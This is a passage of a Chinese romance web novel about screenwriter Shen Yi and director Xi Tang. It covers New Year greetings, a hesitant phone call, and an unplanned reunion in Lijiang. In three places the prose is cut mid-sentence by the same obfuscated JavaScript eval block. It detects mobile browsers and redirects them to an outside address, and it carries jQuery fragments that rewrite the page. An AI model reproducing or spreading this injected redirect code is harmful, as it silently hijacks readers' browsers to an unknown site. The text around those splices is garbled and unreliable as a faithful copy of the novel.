沈弋在对方目瞪口呆里上下翻找衣服口袋,在裤子里摸出一张有些皱巴的名片,“这是我的名片,请你明天一定空出来联系我好吗?误工费我会结算给你。” 第二天外卖员来了,起初沈弋很担心他不行,非科班就算了,还是一个没接触过演戏的外卖员。 地点是沈弋的家里,他先和郑诉相处了一顿饭的时间,吃过饭沈弋开始讲剧本,在郑诉理解以后挑了一段简单的和一段难的戏份,让郑诉试着演出来。 简单的那条过得很顺利,两遍就结束了,难的那条一开始沈弋完全不满意,他重复讲了几遍,郑诉才渐渐上道,过了五条演出来了那种感觉。 郑诉喜欢看电影,而且不排除他在演戏上有天赋,过了沈弋这关还不算,试戏那天郑诉对着导演也过关了,男主角就这样定下来。 结果在拍了半年多后出尔反尔,要直接换掉男主角,男主变配角,流量小生变男主,剧本内容还得改掉,一边是知名导演和刚拿过最受欢迎男演员的流量小生,一边是沈弋和一个外卖员,投资人和制片人孰轻孰重就知道该怎么选。 沈弋坚决不同意,前后僵持了两个月,就爆出来他抄袭。 他和郑诉道歉,郑诉知道不是他的问题忙说没事,这件事就算是过去了。 后面沈弋一有空不是在请人吃饭,就是在请人吃饭的途中。要请的人太多了,他被李佳楠陷害时很多朋友站出来支持他,不必多说,一顿饭就好了,时间合适的话,一周七天有五天都在饭店里和朋友约聚。 每次满怀期待进去见到朋友,大家笑得脸都僵了也还笑个不停,最后畅快的分别,生活回到正轨,自己全身心投入工作中,这才是他一直以来过的日子。 《不归》拍得很顺利,沈弋出去一趟所见所闻不少,他把原本的剧本改了改,加了些西藏和云南见到过的人和事进去。 他大半的精力挪到新接的剧本上,这个团队的导演要求谈亲情。 沈弋家庭和睦,他写出来要么过于狗血,要么过于温馨,平平无奇不像在写剧本,更像是讲故事。 电影和故事不一样,故事叙述就行了,但是电影得有一个节奏掌控着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046891|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最多两个小时,在这最多两个小时里要足够吸引眼球和起承转合,讲故事的话讲清楚就行了。 他写得有些痛苦,所幸先搁置几天,他将自己封闭在家里痛快地看了几天电影,全都是讲亲情的。 和睦到破裂、破裂到和睦,家暴、遗弃、报复,每部电影都讲得不错,但好像没什么新意。 这天沈弋翻到是枝裕和的《比海更深》,他胸口一滞,失神中想起来西堂。 机场一别过去快要有半年了。 看着《比海更深》,他记起那天是西堂少有的情绪外露,在和他讨论父亲。 沈弋知道自己要如何写剧本了,他心里暗想,希望西堂不要怪罪他的冒昧,他只是截取了一点点作为灵感和主旨。 他没有照常写父母与孩子的家庭矛盾,没有过于渲染其中哪个人恶迹斑斑,他单纯的从孩子的视角去展现对于孩子来说,父母的某些看似不值一提的行为实则深深伤害了孩子。 有了大纲创作起来就不难,沈弋一气呵成,把自己关在家里将近一周,终于换身衣服拿上写好打印出来的剧本出门找导演了。 导演一看连连点头,两个人找个咖啡馆谈了一下午。 今年十二月底的北京已经下雪了,他和导演谈完出来漫天雪花缓缓落下。 沈弋很少看朋友圈,这个很少的概率不亚于一年两次,每年元旦和除夕,元旦是迎接新的一年送祝福,除夕是压祟避灾送平安,仅有这两天沈弋会给亲朋好友发完祝福顺带翻上许久的朋友圈。 但和导演谈得尽兴回到家,沈弋盘腿靠在沙发上点开了旅扎七个人的朋友圈,西堂被他留在最后。 可能大家都挺忙的,七八月份也不是一个适合闲下来的时间,都没怎么发朋友圈,三个文身师更新了几个新图,技术摆在那,设计得还挺不错。 沈弋没有点赞,突然点赞几个人,还加着他们七个人,其他人不难猜到他在视奸,他才没这么傻。 丰继发了张女儿的照片,配文生日快乐,沈弋点开照片看了看,很可爱漂亮的女孩,对于素未谋面的阮一竹也能想象出该是怎样的巧笑倩兮、美目盼兮。 李木发了几组新拍的摄影作品,他打开一看甘拜下风,不愧是国际大师。 最后才到西堂,西堂最新的一条还是在云南时发的不再接文身的告知,这几个月以来朋友圈没更新过。 沈弋往前翻西堂所有发的朋友圈,要是西堂设置个半年可见,那他啥也看不到。 西堂发过一只猫和一只狗,配文说是在路上遇到的,一直赶不走,跟着他走了很远。其他的是时间断断续续的工作上的事。 看无可看下沈弋结束了这场偷偷摸摸的视奸,十二月二十一日,距离元旦还有十天,到时候大发慈悲给他们发个元旦祝福吧。 哼,沈弋鼻腔冷哼一声。 分开的时候倒是巧舌如簧说得好听,什么常联系,简直是讹言谎语,这么久了没有谁给谁发过一条信息。 24. 第 24 章 沈篆和梁元贞远在英国,一个国际建筑交流会当然比儿子来得重要,儿子哪天都能见,以后不一定还有这么大型的交流会。 沈弋在陈昀家过元旦,他和陈昀父母挺熟了,提着壶好酒和一条前不久看到后买定的项链就踏进陈家,饭桌上话和酒没停过,倒把陈昀晾在一边,陈昀也不在意,其乐融融。 十二月三十一日晚上十一点五十六分,沈弋开始噼里啪啦打字,是要给家人和好友送出的祝福,他这些年自我培养了一个技能,三四十个人的祝福能在零点零分跨到零点一分的这六十秒里全部发出去。 最先在西堂的聊天框打字,所以西堂是最后被发送出祝福的,手机从开始发送祝福的时候消息就响个不停。 陈父、陈母和陈昀也收到别人送的祝福,整个客厅只有手机响声,好像在看谁收到的最多。 沈弋发送的那一瞬间,可能半秒钟,他收到了西堂发来的消息。 可以肯定,他们是同一时间给对方发送出祝福消息,所以在几乎同一时间收到。 沈弋心坎里唯一的一丁点不爽在这一刻被抚平,他勾了勾唇,逐字逐句阅读聊天框里的消息: 新的一年平安健康,自我平衡。回法国太忙了,没有忘记你,不生气。 他们谁也没联系谁,他转换个角度就没有生气的立场了,他也没有联系西堂,不能厚此薄彼,沈弋决定不计较了。 一条消息收到,一条信息发送,西堂怔了一瞬不禁失笑,他无视了手机屏幕最上方不停闪进来的消息,眼睛只看沈弋发来的消息: 元旦快乐,平安顺遂,望可望之事。不理我你就完了! 西堂打字:理了 沈弋回:行,无罪释放 沈弋一心二用和陈父陈母道“元旦快乐”,对着陈昀肩膀拍了一掌,“大富大贵”。 陈父陈母说了祝福话就和两个人道别回房间了,他们要休息了。陈昀回敬他“剧本获奖”,沈弋没再理他,低头打字问西堂能不能打个电话。 他心随意转,想听见西堂的声音。 沈弋明明盯着手机屏幕,但微信来电铃声想起来的那一刹那,他还是因为出神被吓了一跳。 电话正要接起,被陈昀扳着手腕悬置半空,待陈昀看清微信来电上的“西堂”两个字,目光如有实质地看了他一眼,才放过他去接电话。 “西堂。” “嗯。” 各自安静,沈弋没拿电话的那只手扣了扣手心,好像不尴尬了,是他要求的打电话,那话题就得他来挑起。 “纪录片送审了吗?” “嗯,两个月前发出去了。” “结果什么时候出?” “不出意外的话一个月吧。” “哦。”沈弋看着窗外的飞雪,“北京下雪了,你怎么样?” “巴黎也飘雪了。”西堂把手机开免提放到桌上,解放双手去泡茶。 “有点没话说了怎么办?”沈弋实在不知道说什么。 西堂不禁笑出声,“没话说就不说,等你想说了再说。” “那挂了,新年快乐。” “新年快乐。” 陈昀看他挂断电话了,眼睛停在手机上回复别人发来的祝福,懒散着身子淡淡道:“那个差点大满贯的吗?” “是的,答对了,加一分。”沈弋不隐瞒。 “都熟到打电话了。”陈昀继续淡淡道。 “纠正一下,这是微信,不是号码拨的,所以并不是很熟。” “有区别吗?” “有啊!” “听你这意思,还挺遗憾没有号码?”陈昀语气凉凉。 沈弋浅笑出声,过去勾住陈昀的肩膀,“不是这么回事,你想多了。” “我想多了吗?”陈昀看他一眼。 “想多了。”沈弋老实说。 丰继、李木以及另外四个人都回复了,说新年好,好久不聊。 丰继话最多,最能和沈弋东拉西扯,两个人像是网友加笔友,交代近况、吐槽工作,最后要结束了,丰继问了个问题。 “西堂回你了吗?” “回了。” “回了什么?” 沈弋摸不清他到底是想问什么,“回新年快乐平安健康。”,还有“自我平衡”,但我不告诉你。 丰继奇怪地哼笑一声,在沈弋一头雾水中两个人结束聊天。 陈昀确实想多了,西堂怎么想的他不知道,不对,西堂应该什么都没想,而他,他对西堂好像有点模糊不清的感觉。 说不清,道不明,他自己也搞不懂,搞不懂就不想了,一切不知道就随风而去吧。 他坚守单身主义,允许一切好感和心动的发生,但是他会像苦行僧一样摒弃情欲。 喜欢又怎么样呢,热情过了以后就是分手,他不是分手还能做朋友的人,与其踏出这一步,不如停在一开始。 “想说了再说”,但是想说了就真的说得出口吗? 今天剧本进度拉近一点,今天雪停了,今天有了灵感在考虑新作品,今天…… 沈弋有很多话想说,但好像还没有到非对西堂说不可的程度,这些话他可以对陈昀说,对同事说,对老沈和梁女士说,他有这么多的人可以说,就没必要和西堂说了。 这个“想说了再说”好似遥遥无期。 “你说一个人从来不做的事情有一天做了,代表什么?”丰继元旦那天问他。 西堂抽着烟,脑子不用转就能知道丰继找沈弋套话了。 他从来不去祝福任何人,祝福有什么用,说一两句好话就能如愿以偿吗? 可是他在元旦那天想起来机场里的那个拥抱,他让沈弋开心点。 西堂关上电脑,看得腰酸背痛,按了按太阳穴,整个身体放松下来。 手头的工作源源不断,一日接着一日,偶尔留出根神经注意到时间,三天过去了,一周过去了。 从元旦以后就没有收到过沈弋的消息,他没有期待,没有关注,他是在母亲梅寒发消息说会过来巴黎同他过年的时候才恍然想起来他的微信没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046892|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有被沈弋再打扰。 忙碌可以暂时性遗忘,早起也许早餐来不及吃就出门,一整天为了新电影绞尽脑汁,还有副业需要上班,尽管副业比较清闲,但按时上班下班,下班回家吃饭,看电影,为新电影继续心烦,睡觉。 一天过去了,日复一日,下午能忘记早上的事,今天能忘记前天的事,睡前的脑子只够计划明天需要做哪些工作,哪有时间想其他的。 空白的纸张被他画得凌乱不堪,像刑侦线索板,中间写着“匠人”,四条线拉出去,对应“无人问津”“徒弟学艺不精”“被滥用”“功成名不就”,可这四点被划掉,旁边书写了新的内容,再次被划掉。 拍匠人电影,能拍的冲突矛盾好像就这些,没什么新意了,但西堂云南一旅,感触最深的除了有关犯罪的,就匠人这一点,无论是阿婆还是老师傅,他们脸上的皱纹和手上的厚茧深深映在他的心头。 过于沉重了,“匠人”这个词听起来就很沉重了,反过来,演绎得轻快一些,这才是让人喜闻乐见的电影。 副业在二月中旬短暂放假,二月八日是除夕,时间走差不大,和梅寒在巴黎过到年初六正好可以一起回国。 “你俩真有意思,在巴黎过除夕。” 因为梅寒在巴黎,宋释文去找梅寒扑了个空,在电话里语气喑哑地阴阳怪气母子俩。 “自然不比你,孤家寡人守着钱过。”梅寒狠狠还回去,冲西堂得意地笑。 西堂一言不发,将自己隔绝到一旁磨咖啡。 宋释文和梅寒在他六岁那年就离婚,梅寒带走了他。多年来宋释文的钱从没断过,两个人没有再组家庭,不复婚,一年才见一两面,偶尔打电话说几句话夹枪带棒。 二十五年了,还是这样。 “两位,什么时候回来?” 沈弋身体向后倾,瘫在懒人沙发上。 梁元贞温暖的声音传来:“除夕下午到机场,你到时候来接我们好吧?” “招之即来挥之即去啊。”沈弋装生气。 “哎呀小弋宝贝,我给你带了礼物,原谅我们可以吗?”梁元贞话才说完,就听见沈篆说,“爱来不来,有个交通工具叫出租车。” “诶,老沈,可以啊,那你到时候自己坐出租好了,我接梁女士。”沈弋呛他爸。 电话那头,梁元贞让沈篆一边去别捣乱。 每当这种时候,沈弋自己都搞不懂自己,父母是恩爱夫妻的标杆,自己却崇尚单身主义。 电话挂断,偌大的房子空荡得说话都快要有回音,寂静、冷清是这栋房子的常态,他平常不住这里,这是父母结婚的房子,爷爷奶奶很重视母亲送的。 懒人沙发旁边散落一地的A4纸,打印的手写的皆有,圈、叉、删、增被勾画了很多痕迹,沈弋一直没改出满意的一版。 手机被他调到日历界面,之前接手的工作已经结束,他只用一心准备新作品,沈篆和梁元贞过年待四天就走了,这事他们提前说过,他不想留在这,脑海里已经闪现出他即将去的目的地。 25. 第 25 章 西堂从咖啡店出来,他在店里时听见外面有人在唱歌,但隐隐约约听不真切,一首结束后主唱好像换了个人。 一出门果然看见十多米外围了两圈人,人砌人把主唱遮得严严实实。 西堂看了一眼移开视线,特意走去街对面,以便让自己和人群避开,他往前走,歌声不打招呼地钻进耳朵。 “Jellyfish happy dreaming Even the water is hot Lingering it''s so carefree Please don''t wake me up Lingering in the ocean of love We swim together then breaking apart And my crystal heart ……” 声音低沉、慵懒,混杂着电吉他的伴奏,给人的感觉像他刚才坐在咖啡店喝的那杯咖啡、适合午后晒着太阳放松的声音,西堂放慢了脚步,让自己能多听几句。 一曲结束,围着的人纷纷鼓掌,西堂不再逗留往前离开。 过年的年味让丽江古城更具人情,小巷邻渠,流水潺潺,水流声偶尔淹没在人声里,花团锦簇编织了整条水渠,三眼井随处可见。 整排的屋檐间隔有序的挂满红灯笼,家家户户正门贴上春联,少许是汉字,更多的是当地民族的语言,或者一些画图符号。 沈弋眼瞅着瞅不明白,相机声响拍了下来,他特意戴了口罩和帽子,这样不仅保暖,还可以减少被要联系方式的几率。 夕阳的光照在木窗和瓦顶,将古城笼罩在橘黄色的光影中,沈弋在人来人往中步调一转踏进店内。 店里坐满了顾客,他问前台:“还有空桌吗?” 前台看了看电脑,抱歉地说:“不好意思,空桌没有了,您介意拼桌吗?” 沈弋想了想道:“不介意。” 前台微笑服务,“好的,请您稍等两分钟,我去问一下对方是否同意拼桌。” 耳边热闹嘈杂,沈弋低头看着地板发呆。 前台去而复返,“先生,这边请。” 沈弋跟着他上去二楼,进到临窗那桌。 对方一身黑,没有任何装饰,气质可观,也戴着鸭舌帽,低着头在专心致志挑鱼刺,看不到脸,拿筷子的手却很好看,骨节分明。 沈弋坐下,前台喊来一个服务员招待他就离开,服务员递过来菜单。 他看了看被拼桌的人吃什么菜,又回到菜单上,点了两道菜和两杯饮料,最后加了句,“和他一样的鱼。” 对方听见了,但没什么动静,低头专心吃饭。 沈弋庆幸桌子挺大,要是桌子小了,说不定吃饭的时候两顶帽子碰在一起。 后厨很给力,尽管坐满了人,上菜却很快,最先上来的是一道炒菜和两杯饮料。 沈弋推了一杯给对方,“打扰了,这杯给你,谢谢你同意拼桌。” 对方这才抬头,两个人眼珠仿佛停止转动,眼里充满诧异,那两三秒钟的难以置信消散,两个人不约而同笑了。 “你怎么在这?” “你又怎么在这?”沈弋咯咯笑个不停,抬起那杯饮料,“干一杯吧。” 西堂神色温和,眼里蕴着笑,嘴角也噙着几分笑意,配合地举起饮料和他干杯。 “你能懂我的感受吧,太奇妙了,我竟然在这里遇见你。”沈弋眼睛里的惊喜藏都藏不住。 西堂拆了双筷子放沈弋碗上,“能懂,尝尝这道‘和我一样的鱼’吧。” 沈弋一个劲儿的笑,笑停了没几秒钟又重新笑起来,吃鱼也堵不上他的嘴。 西堂听他笑听得无奈,“消停点。” “好好好。”沈弋摆手,深吸一口气努力让自己冷静下来。 服务员把菜上齐,两个人都不介意用私筷,分享了这顿饭。 沈弋笑是不笑了,但他频频看向西堂,西堂再次被看得无可奈何,不知道沈弋在高兴什么,他确实有些许难以置信,他拍电影很少用这种异地他乡街头偶遇的戏码去表现主角的重逢,现实里却真在丽江数不清的饭店里拼桌拼到了沈弋。 “帽子摘了我看看。”西堂注意到了沈弋的头发。 沈弋嘻笑,抬手取下帽子,一头浅蓝灰色的头发蓬松炸开,“酷吗?好看吗?” 沈弋肤色白,芝兰玉树的气质让一头蓝灰色头发显得不张扬、不叛逆,这个挑人的颜色被他中和得刚刚好,还助长了他五官的优越性。 西堂欣赏完颔首,“适合你。” 沈弋满意了,终于真正消停好好吃饭,边吃边插上几句和西堂说话,西堂也乐意回他。 两道鱼摆在桌上突兀却也成双成对。 吃完饭,沈弋扬言让西堂跟他走。 “去哪?” “搬行李。” 西堂疑惑地挑挑眉。 沈弋诺诺哼笑两声,“我想和你住一个民宿,这样有益于增进感情。” 西堂似有非有的辩无可辩,僵持一会儿同意了,出于严谨,打开了软件看了看有没有空房。 沈弋跟着凑近脑袋去看,嘴里念叨着“有空房有空房”,所幸是有的,和西堂一层楼的空房还有最后一间。 收完行李,下去停车场开车。 “哪来的车?” “租的。” 西堂接手了沈弋的行李箱,“我也租的。” 沈弋兴高采烈顺利入住。 直到晚上,西堂仍能感受到沈弋在兴奋,他有些不理解偶遇为什么能兴奋这么久,但又好像能理解,毕竟他看到沈弋的那一眼宛如一眼万年。 沈弋还想缠着西堂,被西堂冷酷无情赶回房间了,他回到屋内坐下,没捂热凳子呢已经站起来了,转了两步再次坐下,第二次站起来的时候情不自禁闷笑出来,好不容易克制住了,才开始简单收拾行李。 一觉睡醒够吃中午饭了,直接跳过早餐,被西堂鄙夷了一眼,沈弋不好意思地摸摸鼻子,他昨晚凌晨两点才睡着的。 午饭解决后就在古城里乱逛,不挤,两个人可以并排走,沈弋还戴着鸭舌帽,没戴口罩,西堂没戴鸭舌帽倒戴了白色口罩。 一眼看过去两个人有点契合的氛围感。 “你没工作吗?你大过年来这干嘛?”沈弋偏头问。 西堂感觉到冷,把拉链拉上了,“为新电影采风。” 沈弋自报家门,“我也是筹备新剧本,要不说咱俩好呢!” 西堂似是无所谓地瞥他一眼,“谁跟你好?” “西堂。” “谁?” “西堂。” “你每次把我的名字念得跟念诗一样。” “我还想说呢,每次念你名字都想背诗。”鸭舌帽沿下是沈弋带起来的一点笑,“什么‘昨夜星辰昨夜风,画楼西畔桂堂东。’‘西堂昔时冷萧条,使君名高堂为高。’。” 西堂原本波澜不惊的心里泛起涟漪,他很欣赏沈弋,不是谁都能脱口而出几句诗的,“学问太高了也不好,丰继就不会想背诗。” “丰哥会背诗干嘛,他会赚钱就行了,投资你,让你一辈子有电影可以拍。”沈弋目光看了看远处。 “我要一辈子拍电影做什么,哪有这么多电影可以拍?” “诶喂,我感觉我可以写一辈子剧本,那你就一辈子有电影拍咯。” 西堂嗤笑,“不拍你的,拒绝走后门和关系户。” 沈弋哟嚯一声,“看不起谁,我的剧本含金量很高的。” 两个人拌嘴,不知不觉走远。 丽江是有故事和诗意的地方,不管你是带着欢喜还是带着遗憾来,来了就留下你的故事吧,酒馆里、咖啡店、广场上、街头、巷尾,总有一个地方会让你心头一热留下你的故事,你要讲给别人听也行,你要自己悄默搁置在哪也行,你要唱出来也行。 随处可见的人在唱歌,伴奏或者自弹自唱,偶尔路过个唱的歌被沈弋听出来了会唱的,沈弋还能轻哼几句。 咖啡店前坐了个姑娘,贝雷帽、皮夹克、高筒靴,大波浪搭着独特的嗓音,民谣的故事感就涌现出来了。 “昨天这里有个男生唱《Jellyfish》,落日飛車和Michael Seyer的,唱得还挺好听。”西堂下巴朝斜对面的咖啡店抬了抬,示意。 沈弋像情绪开关被开闸打开,他突然疯了一样爆笑出来,惹来路人看他几眼。 西堂走他身侧直接被他吓得脚步一顿,和沈弋相处果然需要时刻准备好一颗强大的心脏。 在沈弋感觉西堂听不下去真可能要捂他嘴的时候,他终于笑歇了,“你口中的男生就是我。”,说完又爆笑出声。 肆意无拘的笑。 难怪呢,难怪他觉得声音有点熟悉,但细想沈弋不可能出现在街头,所以他打消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046893|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了折返的念头,只是放慢了脚步听了听。 “Is never the same The ocean of love It is time to say goodbye Now I don''t mind Just being alone I have a good time To be on my own but I” 沈弋咳了一声,清唱几句,结束,“以上是来自沈弋歌手的独家演唱,请鼓掌。” 西堂配合他,把手从衣兜里伸出来给他鼓掌。 转悠转悠竟然过去两个小时,沈弋走不动了,应该说不想走了,咖啡店抬眼一数就是三五六七家,他随手指了一家,“走,喝一杯。” 这气势比喝酒的时候足。 西堂抬脚跟上。 整个店就他俩和一个店长,沈弋点了两杯,问店长:“你这怎么生意惨淡,是不是不好喝?” 一如既往稳定发挥的冒昧,西堂想。 “不好喝早倒闭了。”店长翻个白眼,“谁知道你俩怎么摸索过来的,藏这么深的巷子你俩也能找来。” 沈弋给他竖了个大拇指,“你这话说得真不好听。” 店长不在意,“彼此彼此。” 店长去做咖啡了,西堂问沈弋,“你没有因为你这嘴被人打过吗?” “小时候打过,后来没有了。” 还没等西堂说话,沈弋自顾自地接着说:“你是不是想问为什么后来没有了?” 也没有很想问,好吧,还是有点想知道的,西堂感觉有时候应付不了沈弋。 “后来没人打得过我了。”沈弋开始了他一直让人莫名其妙的爆笑,边笑边说,“想打我却打不过我,诶,那感觉很爽的。” 西堂失笑,应付不了沈弋就应付不了吧,跟着笑就行了。 咖啡还挺香,收钱也贵,难怪开个店这么深巷子也没倒闭,来了的顾客怕都是回头客,一天卖三杯也够苟活了。 咖啡喝完得算是傍晚了,西堂带沈弋去吃一家他前几天吃过的店,家常菜,味道不错,就是量少,两个人吃点了快满桌的菜。 西堂吃完搁筷了沈弋还在持续进食,他怕沈弋吃得消化不良,“歇歇吧,过两天可以再来吃。” 沈弋这才猛灌一口饮料擦擦嘴,帽子一戴,“走。” 晚上沈弋成功赖进西堂屋里,沙发上双手摆开一躺,感慨,“人生啊,‘王孙走马长楸陌,贪迷恋,少年游。似恁疏狂,费人拘管,争似不风流。’,好舒服啊!”最后的啊字被他拉长声调,抑扬顿挫。 西堂想起来沈弋喝醉的时候他脱口而出过前半句,但实在被他喊得炸耳朵,拿了笔记本电脑过去轻轻拍拍他的脑袋,“再喊就出去。” “哦。” “学富五车是吧?” “是呀!”沈弋夹着嗓子嗔嗔怪叫,在他又要大笑前的零点零一秒被西堂制止。 “再笑也出去。” “哦。” 屋内只有西堂按鼠标的声音,沈弋躺了会儿,屁股带着身体动,挪去西堂身边。 界面一览无余,是纪录片参赛的。 “过审了?” “嗯。”西堂退出参赛界面,打开文件夹最后检查了一遍纪录片成片,偏头看沈弋,“要不你来投?” 沈弋眼珠子一亮,“我可以吗,好啊,让我赐予你好运。” 他按照西堂的指示,把纪录片成片拉进另一个文件夹,里面有导演个人信息、作品大纲、作品本身。 “怎么回事,我有点紧张。”沈弋鼠标停留在“发送”。 西堂促狭地笑了一声,佯装催促,“快点。” 沈弋按下鼠标,“好运赐予完毕,一定能获奖的。” 西堂学他,“哦。” “我要看。”沈弋说着已经自顾自点开了。 西堂去泡了两杯简易的茶,茶包丢杯子里,热水一冲就好了。 沈弋之前看过一遍,再看还是被吸引了,目不转睛。 期间西堂喊了沈弋一声,见人没听见,不再打扰他任由他坐在那看,只是把沙发上的毯子披到他肩上。 一共三期,沈弋看完第一期,眼眸在片尾时睁圆了,鼠标往回后退了三秒。 他没看错——沈弋,摄影助理。 他的名字出现在西堂的纪录片成片里。